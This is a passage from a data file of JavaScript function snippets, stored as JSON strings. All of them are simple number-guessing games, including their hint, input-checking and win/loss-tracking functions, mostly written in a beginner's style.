displayMessage(\"Start guessing...\");\n\n UIscore(score); \n\n bgColor(\"#222\");\n\n document.querySelector('.number').textContent = \"?\";\n}","function numberGuessGame() {\n\t\n//when they click the button it starts the function and creates a message that alerts the user as to what to do. It then allows the user to enter their guess. \n\tlet message =\n \"I'm thinking of a number between 1 and 100.\\n\" +\n \"Try to guess it!\\n\" +\n \"Please enter an integer between 1 and 100.\";\n//uses the JS math function to create a random number for the user to guess \n\tlet answer = 38;\n\t//grabs their \"guess\" and creates a variable from it\n let guess;\n\t//counter variable that will count the attempts. \n\t\tlet counter = 0;\n//post test loop which will go through until number is guessed. Will add up and end as soon as user guesses number. \n do {\n\t\t\t\tcounter ++;\n guess = parseInt(prompt(message));\n\t\t\t\n if (guess < answer) {\n message = guess +\n \" is too low. Please enter another number.\";\n }\n else if (guess > answer) {\n message = guess +\n \" is too high. Please enter another number.\";\n }\n } while (guess != answer);\n\t\n\t\t//Updates the message once the user has guessed the number.\n message = guess + \" is correct! It only took you \" + counter + \" attempts to guess it! Great job!\";\n \n\t//Displays the message.\n\tdocument.getElementById('answer').innerHTML = message;\n\t\n}","function newGame() {\n inputValue.value = \"\";\n btnGuess.disabled=false;\n randomNumber = Math.floor(Math.random() * 100 + 1);\n count = 0;\n noOfTry.textContent = \"tries:\" + count;\n chance.innerHTML = \"Number of chances: 5\"; \n triesLeft=5;\n msg[0].textContent=\"Guess a number between 1 and 100\";\n}","function guessingGame(){\n\nvar randomNumber = Math.floor(Math.random() * 10) + 1;\n//console.log(randomNumber);\nvar guess = prompt('guess a number between 1 and 10!');\nconsole.log(guess);\nif(guess=null){\n\treturn\n}\n\nwhile(randomNumber !=guess){\n\tif(randomNumber > guess){\n\t\talert('your guess is too low');\n\t\t} else{\n\t\t\talert('your guess is too high')\n\t\t}\n\t guess = prompt('Guess a number between 1 and 10!');\n}\nreturn alert('you are right!')}","function provideHint(){\n\tfunction randomNumHintGen(){ //create random number each time function is called\n\t\treturn Math.floor(Math.random() * (100 - 1) + 1);\n\t}\n\tvar hintArray = [winningNumber];\n\tif (numGuesses === 1) { // one guess\n\t\tfor (var i = 0; i < 7; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t} else if (numGuesses === 2) { // two guesses\n\t\tfor (var i = 0; i < 5; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t} else if (numGuesses === 3) { // three guesses\n\t\tfor (var i = 0; i < 3; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t} else if (numGuesses === 4) { // four guesses\n\t\tfor (var i = 0; i < 1; i++) {\n\t\t\thintArray.push(randomNumHintGen());\n\t\t}\n\t}\n\treturn hintArray;\n}","function randomNumberGame(){\n var random = Math.floor((Math.random() * 20) + 1);\n console.log('random number:', random); //this will print out the random number\n var number; //this is the user input\n var attempts = 0; //this will allow me to limit total attempts\n //Then use a 'while' loop to compare user input to the random number and generate a response accordingly.\n while (number !== random && attempts < 4) {\n number = parseInt(prompt('How many cups of coffee do I drink each day?'));\n console.log('user guess:', number);\n attempts ++; //counts attempts for each answer given in loop\n\n if (number < random) {\n alert('That\\'s not enough!');\n counter ++;\n } else if (number > random) {\n alert('I like my coffee, but that\\'s too much');\n counter ++;\n } else if (isNaN(number)) {\n alert('Please give a real number');\n counter ++;\n } else if (number === random) {\n alert('You got it! Best part of waking up...');\n correct ++;\n counter ++;\n } if (attempts === 4) {\n alert('sorry, out of tries');\n }\n }\n}","function checkGuess() {\n event.preventDefault();\n\n var guessInput = document.getElementById( 'formInput' );\n var guessInputValue = formInput.value;\n\n var parsed = parseInt(guessInputValue);\n var verified = verifyInput( guessInputValue, minInput, maxInput );\n\n if ( verified === true ) {\n hideElement(errorMessageDisplay);\n \n showElement(lastGuessText);\n changeText(lastGuessText, \"Your last guess was\");\n\n showElement(guessDisplay);\n changeText(guessDisplay, guessInputValue);\n\n showElement(resultText);\n\n enableButton(resetButton);\n\n if ( parsed === solution ) {\n changeText(resultText, \"BOOM!\");\n win();\n } else if ( parsed > solution ) {\n changeText(resultText, \"That is too high!\");\n } else if ( parsed < solution ) {\n changeText(resultText, \"That is too low\");\n }\n }\n}","function questionSix(){\n var randoNum = Math.floor(Math.random() * 10) + 1;\n var opportunities = 4;\n var robotVoice = 'Guess a integer from 1 to 10!';\n\n /*beggining of while loop checks the condition to see if there are any turns left. */\n while (opportunities > 0) {\n /*Lets the user know to guess an integer and how many chances are left.*/\n var userChoice = prompt(robotVoice + ' You have ' + opportunities + ' try\\'s to go.');\n /*Lets the out of the program if they select cancel.*/\n if (!userChoice){\n break;\n }\n // /**The Number() function converts the object\n // argument to a number that represents the object's value. */\n userChoice = Number(userChoice);\n console.log('userChoice is ' + userChoice);\n console.log('Random generator number is ' + randoNum);\n\n // /**check condition of input to random number selected */\n if (userChoice === randoNum) {\n alert('thats right you guessed the random number way to go!');\n /**I need help with this part I know I need it I just dont know why. */\n opportunities = 0;\n break;\n } else {\n /*Notfies user that they were wrong and take the input decides if\n * it was higher or lower than the random number in the if statements. */\n robotVoice = 'You were close, but no, try again.';\n if (userChoice < randoNum){\n robotVoice += ' Too Low!';\n }\n if (userChoice > randoNum) {\n robotVoice += ' Too High!';\n }\n /*This decrements the opportunities each time the user enters a try. */\n opportunities = opportunities - 1;\n console.log('guessCount is ' + opportunities);\n\n }\n }\n /*This line of code sits outside the loop so that if the user cancels or fails\n * to guess correct, then they are told what the answer is. */\n alert('The Random number Generator choose ' + randoNum + ' as it\\'s number .');\n\n}","function guessWhat(result) {\nvar randomGuess = Math.floor(Math.random()*2);\nif (guessWhat ===0) {\n$(\"#guess-image\").html(\n \"GAME OVER!
\nWinner!
\");\n $(\"#wins\").html(\"\" + wins + \"
\");\n }\n else {\n losses++;\n $(\"#win-lose\").html(\"Loser!
\");\n $(\"#losses\").html(\"\" + losses + \"
\");\n }\n}","function guessing_game(guess) // no display\n {\n\n // Get a random integer from 1 to 10 inclusive\n console.log(\"matched or unmatched?\");\n var match, num;\n\n //for(var i = 0; i <= 10000; i++)\n //{\n num = Math.random() * 100; // Math.random() return a random number between 0 and 1\n num = Math.ceil(num); // used floor thus getting 1 among 10000 samples\n num = (num % 10) + 1; // to generate number between 1 and 10\n console.log(\"at i = \" + i + \", num = \" + num);\n //}\n\n if(guess === num)\n {\n return(\"Good Work\");\n }\n\n else\n {\n return(\"Not matched\");\n }\n\n }","function guess() {\n var number = parseInt(document.getElementById(\"your-number\").value),\n randomNumber = Math.floor(Math.random() * 10);\n if (isNaN(number) || number < 1 || number > 10) {\n document.getElementById(\"guess-h3\").innerText = \"You Have To Select An Integer Number From 1 To 10\"\n } else {\n if(number === randomNumber) {\n document.getElementById(\"guess-h3\").innerText = \"Good Work\"\n }else {\n document.getElementById(\"guess-h3\").innerText = \"Not Matched\"\n }\n }\n clear();\n}","function tryGuess() {\n\t\tsocket.cb_push(\"guess\", guess);\n\t\tsetGuess(\"\");\n\t\t//if (!util.gameOver(state.recorded, state.secret)) {\n\t\t//\tlet prev = state.recorded;\n\t//\t\tprev.push(guess);\n\t//\t\tsetState({secret: state.secret, warning: \"\", recorded: prev});\n\t//\t\tsetGuess(\"\");\n\t//\t}\n\t}","function guessNumber(){\n var randomN = Math.floor(Math.random() * 10) + 1;\n var usersN = parseInt(document.getElementById(\"guessN\").value);\n if(randomN === usersN){\n alert(\"Good Work!\");\n } else {\n var notM = document.getElementById(\"text\");\n notM.innerHTML =\"Not matched. Try again!\";\n notM.style.color=\"coral\";\n }\n}","function evaluateGuess(){ // Begin evaluateGuess\n // a) Compare the guess to the current number. If the guess is correct, return true, otherwise return false.\n if(Number(input.value) == currentNumber )\n {\n return true;\n }\n else\n {\n return false;\n }\n} // End of evaluateGuess","function guess() {\n\n //3. grab the value from the user\n let userNum = document.getElementById(\"guessNumber\").value;\n //After the user enters a guess, the textbox is cleared. \n document.getElementById(\"guessNumber\").value = \"\";\n //save the result message\n let resultMessage = ''\n\n //4. compare with the value the comp picked\n //5. if comp's num > user's num, \"too low\"\n if (computerNum > userNum) {\n resultMessage = 'too low';\n //6. if comp's num < user's num, \"too high\"\n } else if (computerNum < userNum) {\n resultMessage = 'too high';\n //7. if comp's num === user's num, \"correct\"\n } else if (computerNum == userNum) {\n\n document.getElementById(\"resultArea\").innerHTML = `${userNum} is correct! You win! :)`\n document.getElementById(\"resultArea\").classList.add(\"alert-success\");\n document.getElementById(\"guessButton\").disabled = true;\n\n timeOut()\n\n return;\n }\n\n remainingGuess--;\n\n history.push(userNum)\n\n\n //8. show the result to the user\n document.getElementById(\"resultArea\").innerHTML = `Result is ${resultMessage}`;\n document.getElementById(\"historyArea\").innerHTML = `History of you guess: ${history}`;\n document.getElementById(\"remainGuess\").innerHTML = `${remainingGuess}`\n\n // 1. make only 5 chance\n // 3. if user win, or lose the guess button will be disabled\n if (history.length == 5) {\n document.getElementById(\"guessButton\").disabled = true;\n document.getElementById(\"resultArea\").innerHTML = `The result is ${computerNum}. You ran out of guess! You lose :(`;\n alert(\"You don't have any guess left\");\n timeOut();\n }\n}","function checkWinLoss(){\n\tif(playerCounter==numToGuess){\n\t\twins++; \n\t\t$(\"#wins\").html(wins); \n\t\tresetNumbers(); \n\t\tgenerateNumbers(); \n\t}else if(playerCounter>numToGuess){\n\t\tlosses++; \n\t\t$(\"#losses\").html(losses); \n\t\tresetNumbers(); \n\t\tgenerateNumbers(); \n\t}\n}","function checkGuess () {\n var isItRepeated = $guessed.includes($guess);\n if (isItRepeated === true) {\n alreadyGuessed = true;\n } else {\n alreadyGuessed = false;\n }\n }","function check_guess(guess) {\n if (guess < correct_number) {\n turns += 1\n return \"That is too low\"\n } else if (guess > correct_number) {\n turns += 1\n return \"That is too high\"\n } else {\n turns += 1\n var current_min = $(\"#min\").val();\n var current_max = $(\"#max\").val();\n $(\"#min\").val(parseInt(current_min) - 10);\n $(\"#max\").val(parseInt(current_max) + 10);\n // clear guess input field\n $(\"#guess\").val(\"\")\n // set min-max, pick new number on new range, hide errors and messages and disable unneccessary buttons\n set_num();\n $(\"#error\").html(`That took you ${turns} turns.It just got harder.
Minimum is 10 lower.
Maximum is 10 higher.`);\n $(\"#error\").show();\n // win message\n return \"BOOM!\"\n }\n}","function guessNumber(){\nvar programNumber = Math.ceil(Math.random() * 10);\n var userNumber = prompt('Input the number between 1 and 10 inclusive');\n if (userNumber == programNumber)\n alert('Matched');\n else\n alert('Not matched');\n}","function playGuessGame() {\r\n\r\n var chance = 0;\r\n var numToGuess = generateRandomNum();\r\n \r\n while (chance < 3) { // given 3 chances\r\n \r\n chance++;\r\n var userGuess = prompt(\"Your Guess: \"); // taking guess (input) from the user\r\n if (userGuess === numToGuess) {\r\n console.log(\"You're Right. You've Won!!\");\r\n }\r\n else {\r\n console.log(\"Try Again...\");\r\n }\r\n\r\n var playAgain = false;\r\n\r\n if (chance === 3) {\r\n var askUser = prompt(\"Do You Want To Play Again? (Yes/No)\");\r\n askUser = askUser.toLowerCase();\r\n \r\n if (askUser === \"yes\") {\r\n playAgain = true;\r\n chance = 0; // to reset the game\r\n }\r\n else if (askUser === \"no\") {\r\n playAgain = false;\r\n console.log(\"Thank You For Playing With Us Today!\");\r\n }\r\n }\r\n \r\n\r\n\r\n }\r\n\r\n}","function question6() {\n var correctNumber = Math.floor(Math.random() * 30);\n var attempts = 4;\n while (attempts !== 0){\n\n var guessNumber = prompt('Let\\'s get serious. Guess a number from 1 to 50:');\n console.log('User input: ' + guessNumber);\n\n if (parseInt(guessNumber)){\n if (parseInt(guessNumber) === correctNumber){\n\n console.log(\"True!\");\n alert('Great job! You guess it with ' + (5 - attempts) + ' attempt(s)');\n correctAns++;\n break;\n } \n else if (parseInt(guessNumber) < correctNumber){\n \n console.log(parseInt(guessNumber) + ' lower than ' + correctNumber);\n attempts--;\n alert(\"Wrong...Go higher!\" + attempts + \" attempts left\");\n \n } \n else if (parseInt(guessNumber) > correctNumber){\n \n console.log(parseInt(guessNumber) + ' bigger that ' + correctNumber);\n attempts--; \n alert(\"Wrong...Go lower!\" + attempts + \" attempts left\");\n \n }\n \n }\n else alert('Wrong input! It should be a whole number');\n }\n\n if ((attempts === 0) && (guessNumber !== correctNumber)){\n\n alert('You wasted all your attempts...');\n }\n}","function checkValueToGoal(){\n if(currentTotalCounter===randomizedChosenGoalNumber){\n winCounter++;\n $(\"#winCounter\").html(winCounter); \n restartGame();\n } else if(currentTotalCounter> randomizedChosenGoalNumber){\n loseCounter++;\n $(\"#loseCounter\").html(loseCounter);\n restartGame();\n }\n}","function evaluateGuessOne(guess, randomNumber, min, max) {\n console.log(\"minumum number is: \" + min);\n console.log(\"max number is: \" + max);\n if(guess < min || guess > max) {\n console.error(\"Number is not in range\");\n highOrLow1.innerText = \"Out of range\";\n return alert(`Number must be between ${min} and ${max}`);\n } else if(isNaN(guess)){\n console.log(\"NOT A NUMBER\");\n displayGuess1.innerText = \"--\";\n highOrLow1.innerText = \"That's Not a Number...\";\n alert(\"Please enter a valid number\");\n } else if(guess < randomNumber) {\n console.log(\"Player 1: guess is to low: \" + guess);\n highOrLow1.innerText = \"that's to low\";\n } else if(guess > randomNumber) {\n console.log(\"Player 1: guess it to high: \" + guess);\n highOrLow1.innerText = \"that's to high\";\n } else {\n console.log(\"Correct Guess\");\n highOrLow1.innerText = \"BOOM!\";\n newWinnerCard(challenger1Name.value, challenger2Name.value, challenger1Name.value);\n // winnerName.innerText = challenger1Name.value;\n alterGamerRange(min, max);\n console.log(\"The new Minimum range is: \" + min);\n console.log(\"The new Maximum range is: \" + max);\n }\n }","function compare(){\n feedback.classList.remove('warning');\n let num = Number(guessNum.value);\n let sd = 10;\n if ( num > random ) {\n if( Math.abs(num-random) <= sd ){\n feedback.innerHTML = \"Too high, But very close!\"\n } else {\n feedback.innerHTML = \"Too high!\"\n }\n } else if ( num < random ) {\n if( Math.abs(num-random) <= sd ){\n feedback.innerHTML = \"Too low, But very close!\"\n } else {\n feedback.innerHTML = \"Too low!\"\n }\n } else if ( num === random ) {\n feedback.innerHTML = \"Bingo!!!\";\n feedback.classList.add('bingo');\n again();\n };\n}","function getHint() {\n cheating = true;\n var randomnumber=Math.floor(Math.random()*81);\n if (puzzleFull()) { alert(\"No more hints! Puzzle is full!\"); return false;}\n\n if (puzzle.charAt(randomnumber) == '0' && document.getElementById(randomnumber).value == '') {\n document.getElementById(randomnumber).value = puzzleS.charAt(randomnumber);\n } else {\n getHint();\n }\n}","function guessMyNumber(n) {\n var upperbound =6;\n var rightNumber=randInt(upperbound);\n\n if (n > upperbound) {\n return \"Out of bounds! Please try a number between 0 and 5.\";\n }\n \n else if (n === rightNumber) {\n return \"You guessed my number!\";\n }\n return \"Nope! That wasn't it!\" + \"correct number: \" + rightNumber ;\n}","function checkGuess() {\r\n var guess = document.getElementById('guess').value;\r\n\r\n if (!isNaN(guess)) {\r\n var guesses = document.getElementById('output');\r\n\r\n if (guess === randNum) guesses.value = guesses.value + \"\\r\" + \"You have guessed correctly! (\" + guess + \")\";\r\n else if (guess > randNum) guesses.value = guesses.value + \"\\r\" + \"You have guessed too high! (\" + guess + \")\";\r\n else guesses.value = guesses.value + \"\\r\" + \"You have guessed too low! (\" + guess + \")\";\r\n }\r\n else alert(\"Not an integer, try again.\");\r\n}","function guessField(){\n // Store the input entered into the text field into a variable \"ans\" and immediately cast to int\n var ans = parseInt(document.getElementById(\"numberGuess\").elements[\"number\"].value);\n console.log(\"secret: \" + secret + \"\\nyour guess: \" + ans);\n\n do // Used a do-while, because we always want to this block to execute at least once\n {\n console.log(\"Entered while loop\\nsecret: \" + secret + \"\\nans: \" + ans + \"\\nguessed: \" + guessed);\n\n if(ans > secret){\n console.log(\"Your guess is too high\");\n write(\"result4\", ans + \" is too high. Guess again\");\n break;\n } else if (ans < secret){\n console.log(\"Your guess is too low\");\n write(\"result4\", ans + \" is too low. Guess again\");\n break;\n } else if (ans === secret){\n console.log(\"You guessed it!\");\n write(\"result4\", \"You correctly guessed the number \" + ans + \". A new number random number will be generated now\");\n alert(\"You correctly guessed the number \" + ans + \". A new number random number will be generated now\");\n secret = Math.floor(Math.random() * (MAX+1));\n console.log(\"New secret: \" + secret);\n guessed=true;\n } else { // If this else is reached, the input must be invalid. Prompt the user, and get a new guess.\n console.log(\"Invalid input. Enter a number\");\n write(\"result4\", \"Invalid input. Please enter a number between 0 and 5\");\n break;\n }\n } while(guessed === false);\n}","function provideHint() {\n var diff = Math.abs(playersGuess - winningNumber);\n if (diff > 50) {\n return (\" Like whoa. Maybe try a different end of the spectrum.\")\n } else if (diff > 25) {\n return (\" You're a fair ways off.\")\n } else if (diff > 9) {\n return (\" Getting there!\")\n } else {\n return (\" So close!\")\n }\n }","function userWinOrLose() {\n if (result > randomNum) {\n losses++;\n console.log(\"user lost\");\n // alert(\"You lost! Try again.\");\n initializeGame();\n }\n\n if (result === randomNum) {\n wins++;\n console.log(\"user won\");\n // alert(\"You won! Great job. Best out of 5?\");\n initializeGame();\n }\n}","function sixthQuestion() {\n//sixth question\n var secretNum = 20;\n console.log('Value of secretNum: ', secretNum);\n\n// Evaluate whether the guess is too high or too low and give the user four attempts\n var attempt = 0;\n var maxAttempts = 4;\n while (attempt < maxAttempts) {\n var guessedNum = prompt('Guess my secret number.');\n guessedNum = parseInt(guessedNum);\n console.log('value of guessedNum: ', guessedNum);\n console.log('type of guessedNum: ', typeof guessedNum);\n\n if (guessedNum === secretNum) {\n alert('BULLSEYE. ', secretNum, ' was my secret Number!');\n attempt = maxAttempts; // exit loop\n tallyCorrect++;\n } else if (guessedNum < secretNum) {\n alert('Too low. Click OK and guess again.');\n console.log('Attempt #: ', attempt);\n } else if (guessedNum > secretNum) {\n alert('Too high. Click OK and guess again.');\n console.log('Attempt #: ', attempt);\n } else {\n alert('Rethink that choice.');\n console.log('Attempt #: ', attempt);\n }\n attempt++;\n }\n console.log('out of the loop');\n console.log('count: ' + tallyCorrect);\n}","function generateRandNum() {\r\n var guesses = document.getElementById(\"output\");\r\n var clicked = false;\r\n\r\n document.getElementById('newGame').onclick = function() {\r\n clicked = !clicked;\r\n };\r\n document.getElementById('guess').addEventListener(\"keyup\", function(event) {\r\n event.preventDefault();\r\n if (event.keyCode === 13) document.getElementById('check').click();\r\n });\r\n\r\n if (clicked) {\r\n if (!confirm('Restart game with new number?')) return;\r\n }\r\n\r\n guesses.value = '';\r\n randNum = Math.floor(Math.random()*500);\r\n guesses.value = \"New number generated.\\n\"\r\n\r\n // hide number that has been generated\r\n document.getElementById('numToGuess').value = '';\r\n document.getElementById('showCheat').style.display = 'none';\r\n}","function checkFinal(){\n \tplayersGuessSubmission(); \n \t//check errors\n \tif (playersGuess > 100) {\n\t\t\t$(\".text\").append (\"
Remember between 1 - 100!
\")\n\t\t}\n\t\telse if (isNaN(playersGuess)) {\n\t\t\t$(\".text\").append (\"Not a number
\")\n\t\t}\n\n\t\telse {\n\t\t\tvar winStatus;\n\t\t\tif (winningNumber === playersGuess) {\n\t \t\twinStatus = \"VICTORY\"; \n \t\t}\n \t\telse {\n \t\t\twinStatus = \"Sorrow and Defeat\";\n \t\t}\n \t\tgameOver(winStatus);\n\t\t}\n }","function setHiddenFields() {\n\n answer.value = (Math.floor((Math.random() * 10000))).toString();\n while (answer.value.length < 4) {\n answer.value = '0' + answer.value;\n }\n attempt.value = 0\n\n\n console.log('set ' + answer.value + ' - ' + (answer.value).length);\n ///Math.floor(Math.random()*1000,4);\n //add functionality to guess function here\n}","function checkGuess(){ \n\t//var guessesRemaining = 5;\n\tif (isNaN(playersGuess) || playersGuess < 1 || playersGuess > 100) { // NaN, less than one, greater than 100\n\t\t$(\"#updates\").text(\"Invalid entry, try again\");\n\t} else {\n\t\tif (playersGuess === winningNumber) {\n\t\t\tyouWin();\n\t\t} else { \n\t\t\tif (guessArray.indexOf(playersGuess) !== -1) { // check if players guess is duplicate \n\t\t\t\t$(\"#updates\").text(\"You entered \" + playersGuess + \" already, guess again\"); \n\t\t\t} else {\n\t\t\t\tnumGuesses++; // increment guesses\n\t\t\t\tguessesRemaining--; // decrement guesses remaining\n\t\t\t\t$(\"p\").append(\"p\").text(\"You have \" + guessesRemaining + \" guesses left.\"); //remaining guesses countdown\n\t\t\t\tguessArray.push(playersGuess); // add guesses to array\n\t\t\t\tguessMessage(); \n\t\t\t\tif (numGuesses >= 5) {\n\t\t\t\t\tgameOver();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}","function playgame() {\n // generates a random number\n let ranNum = Math.floor(Math.random() * maxNum) + minNum;\n\n // alerts the min and max \n alert(\"I'm thinking of a number between \" + minNum + ' and ' + maxNum)\n\n //define the variable\n let guess = 0\n\n\n // runs game \n while (guess != maxTries) {\n // add one to the their the guesses so that the loop stops at 3\n guess += 1\n //ask user for their guess \n let userNumber = prompt('guess a number')\n //convert user input to a number\n userNumber = Number(userNumber)\n\n //checks the answer \n if (userNumber >= minNum && userNumber <= maxNum) {\n\n if (userNumber == ranNum) {\n guess = maxTries\n alert('that is correct')\n\n } else {\n alert('that is incorrect')\n }\n\n } else {\n alert('error:inavild')\n }\n\n }\n}","function checkPlayerGuess() {\n if (!isPlayerWon && !isComputerWon) {\n if (inputLengthLarger()) {\n setTimeout(limitInputLength, 50);\n }\n let secret = playerGuess.value.toUpperCase().substring(0, 5);\n if (secret !== computerBase) {\n messageStatus = 'Wrong Word. Try another guess!';\n message.style.color = wrongColor;\n }\n } else {\n messageStatus = isComputerWon\n ? `Computer wins in ${count} turns`\n : `Human wins in ${count} turns`;\n message.style.color = rightColor;\n }\n}","function checkUserGuess() {\n\tvar userGuess = parseInt($(\"#userGuess\").val()),\n\ttheDifference = Math.abs(newGameNumber - userGuess);\n\t\n\t\n\t\n\n\taddToList(userGuess);\n\n\tif (theDifference === 0)\n\t\twrite(\"You Got It!\");\n\telse if (theDifference <= 10)\n\t\twrite(\"On Fire\");\n\telse if (theDifference <= 25)\n\t\twrite(\"Hotter\");\n\telse if (theDifference <= 50)\n\t\twrite(\"Warm\");\n\telse if (theDifference <= 75)\n\t\twrite(\"Cold\");\n\telse if (theDifference <= 100)\n\t\twrite(\"Freezing\");\n\t\n\t\n}","function startGame(){\n //generate random number by calling function and store it in variable\n randomNumber = generateRandomNumber(parseInt(maximumNumber));\n //generating random number for the number of guesses allowed;\n numberOfGuessesAllowed = Math.floor(Math.random() * 20) + 5;\n //calling function that will scroll the viewport to the game area\n scrollToGameScreen();\n //calling function that displays the message that prompts the user to guess the values\n displayMessageToPromptUserToGuessWithAnimation();\n //calling function that displays the input text field\n displayAnswerInputFieldWithAnimation();\n //calling function that displays the answer button\n displayAnswerButtonWithAnimation();\n }","function inputGuess() {\n var currentGuess = \"000\";\n\tvar currentGuessArray = [];\n\tvar exactPlace = 0;\n var wrongPlace = 0;\n // Get the value of the input field with id=\"guessEntered\"\n currentGuess = pad(document.getElementById(\"guessEntered\").value,3);\n\t// Make current guess into array\n\tcurrentGuessArray = currentGuess.split(\"\");\n // Add the current guess to the end of the array of guesses\n\tarrayOfGuesses.push(currentGuess);\n\t// Calculate number of matches in exact place\n\texactPlace = (Number(combination[0] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[1]) + Number(combination[2] == currentGuessArray[2]));\n\twrongPlace = (Number(combination[0] == currentGuessArray[1]) + Number(combination[0] == currentGuessArray[2]) + Number(combination[1] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[2]) + Number(combination[2] == currentGuessArray[0]) + Number(combination[2] == currentGuessArray[1]));\n\t\n\t// If currentGuess is equal to the Target Number, end with Win else provide stats or end with Lose.\t\n switch(Number(currentGuess == combination) * 2 + \n\t\t(Number(guessesRemain != 1))) {\n case 0:\n\t\t\tguessesRemain--;\n\t\t\tguessListText = currentGuess.concat(\" \", \"\", exactPlace, \" \", wrongPlace, \"\", guessListText);\n\t\t\tdocument.getElementById(\"response\").innerHTML = \"Sorry, you're out of guesses. The combination was \" + combination + \". Please refresh the page to try a new game.\";\n\t\t\tdocument.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t guessesRemain--;\n guessListText = currentGuess.concat(\" \", \"\", exactPlace, \" \", wrongPlace, \"
\", guessListText);\n\t document.getElementById(\"response\").innerHTML = \"Try again.\";\n document.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tcase 2:\n\t\tcase 3:\n guessesRemain--;\n\t\t\tguessListText = currentGuess.concat(\" \", \"\", exactPlace, \" \", wrongPlace, \"
\", guessListText);\n\t\t\tdocument.getElementById(\"response\").innerHTML = \"You guessed it!\";\n\t\t\tdocument.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tdefault:\n\t\t document.getElementById(\"response\").innerHTML = \"Wow. Something weird happened. Please notify the game designer.\";\n\t\t\tbreak;\n\t}\n\tdocument.getElementById(\"remaining\").innerHTML = \"Guesses remaining: \" + guessesRemain;\n}","function PromptNumber(max_value) {\n\t// variables created inside of a function aren't available outside of it.\n\t// If you reuse a variable name from the global scope, only the locally defined\n\t// version will be available here.\n\t// It is best to keep global variables to a minimum and only use global variables when necessary.\n\tlet text, num;\n\t\n\t// Here we have a REPEAT UNTIL loop. The program will always go through the loop at least once.\n\t// We say that it is a bottom tested loop as it checks to see if it should loop at the bottom of the block.\n\tdo {\n\t\t// parseInt will change a string into a number.\n\t\ttext = prompt('What is your guess?');\n\t\tnum = parseInt(text);\n\t\t\n\t\tif (isNaN(num)) {\n\t\t\t// If you pass in something that isn't a number to parseInt, it \n\t\t\t// returns a special Not a Number code. If we got that just change\n\t\t\t// it to zero. We will use isNaN to detect a number parse error.\n\t\t\tnum = 0;\n\t\t\talert('\"' + text + '\" is not a number. Try again.');\n\t\t}\n\t\telse if (num < 1) {\n\t\t\talert(num.toString() + ' is too small for the given range. Try again.');\n\t\t}\n\t\telse if (num > max_value) {\n\t\t\talert(num.toString() + ' is too large for the given range. Try again.');\n\t\t}\t\t\n\t}\n\twhile (num < 1 || num > max_value)\n\t// && is the boolean and operator. It will be true when both checks are true and false otherwise.\n\t// || is the boolean or operator. It will be true when either check is true, and only false if both checks are.\n\t\n\t\n\t// To return a value back to the caller use the return statement. \n\treturn num;\n}","function question6 (){\n\n var actualRetries = Math.floor(Math.random() * 10) + 1;\n console.log('Actual number of retries: ' + actualRetries);\n\n var el = document.getElementById('random-number');\n el.textContent = actualRetries;\n\n var guessedRetries = 0;\n var correctGuess = false;\n var numberOfGuesses = 0;\n\n //The initial prompt is kept separate from the follow up question to be more interactive\n\n guessedRetries = prompt('Can you guess the number of my retries to get all answers on the course quiz right? Please be courteous and limit your response to a number between 1 and 10.');\n\n while (numberOfGuesses < 4){\n console.log('Number of retries guessed: ' + guessedRetries);\n if (actualRetries < guessedRetries){\n guessedRetries = prompt('Number is lower than your guess. Try again!');\n } else if (actualRetries > guessedRetries){\n guessedRetries = prompt('Number is higher than your guess. Try again!');\n } else {\n correctGuess = true;\n break;\n }\n numberOfGuesses++;\n }\n\n //Keep track of number ofright answers. Set the alert message depending on the outcomme\n\n if (!correctGuess){\n alert('Sorry, you have exhausted the number of tries.');\n } else{\n alert('Awesome, you got it!');\n numberOfRightAnswers++;\n }\n\n}","function checkGuess(playersGuess){\n\t//If the number hasn't already been tried, check to see if it is the winning number\n if (numbersTried.indexOf(playersGuess) == -1) {\n //If it is a winning number\n if(winningNumber==playersGuess) {\n $('.feedback').text(\"You won!\");\n $('.remaining').text(\"Congratulations!\")\n playerWon();\n }\n //If it is not a winning number, add it to array of tried numbers, and increment guesses \n else {\n $('.feedback').text(lowerOrHigher(winningNumber, playersGuess));\n\n numbersTried.push(playersGuess);\n //Have not given a hint for the current step\n hintNotGiven = true;\n\n guesses--;\n\n //Message to be printed for number of guesses remaining, and also determining if the user lost\n if (guesses > 1) {\n $('.remaining').text(guesses + \" Guesses remaining! Make it count!\")\n } else if (guesses == 1) {\n $('.remaining').text(guesses + \" Guess remaining! Make it count!\")\n } else {\n $('.feedback').text(\"You lost. Play again?\");\n $('.remaining').text(\"Game Over\")\n playerLost();\n };\n };\n} \n //If the user has already guessed this number\n else {\n $('.feedback').text(\"You have already guessed this number\");\n};\n\n}","function checkNumGuess() {\n\tif(guesses === 0) {\n\t\talert(\"Sorry, you couldn't guess the word. Game Over!\");\n\t}\n}","function checkGuess(){\n\tif (playersGuess === winningNumber) {\n\t\tmoveSection();\n\t\tchangeAnn(\"YOU WIN!\")\n\t\tfaceDance();\n\n\t} else {\n\t\tif (arrayOfGuesses.includes(playersGuess)) {\n\t\t\t$('#announcement').fadeOut('fast');\t\n\t\t\tchangeAnn(\"You already guessed that number\");\n\t\t} else {\n\t\t\tarrayOfGuesses.push(playersGuess);\n\t\t\tif (arrayOfGuesses.length === 5){\n\t\t\t\tchangeAnn(\"Game Over!\");\n\t\t\t\t$('#tryAgain').css('background', 'red');\n\t\t\t\tconsole.log(arrayOfGuesses);\n\n\t\t\t} else {\n\t\t\t\tlowerOrHigher();\n\t\t\t\tfaceWag();\n\t\t\t}\n\t\t}\n\t}\n}","function randomGuess(num){\n\tnotGuessed = true;\n\tvar counter = 0;\n\twhile(notGuessed){\n\t\tcounter++;\n\t\tvar rand = Math.random() * array.length;\n\t\tif(array[rand] == num){\n\t\t\tnotGuessed = false;\n\t\t}\n\t}\n\treturn counter;\n}","function guess() {\n\t\tvar guessClick = $(this).text();\n\t\t// console.log(guessClick + \" was clicked\");\n\n\t\tif (guessClick === correctAnswer) {\n\t\t\tcorrectGuess();\n\t\t} else {\n\t\t\tincorrectGuess();\n\t\t}\n\t}","function questionSix(){\n var myNum = 7;\n var turns = 4;\n\n\n var guess = parseInt(prompt('Hi! Do you think you can guess my favorite number? 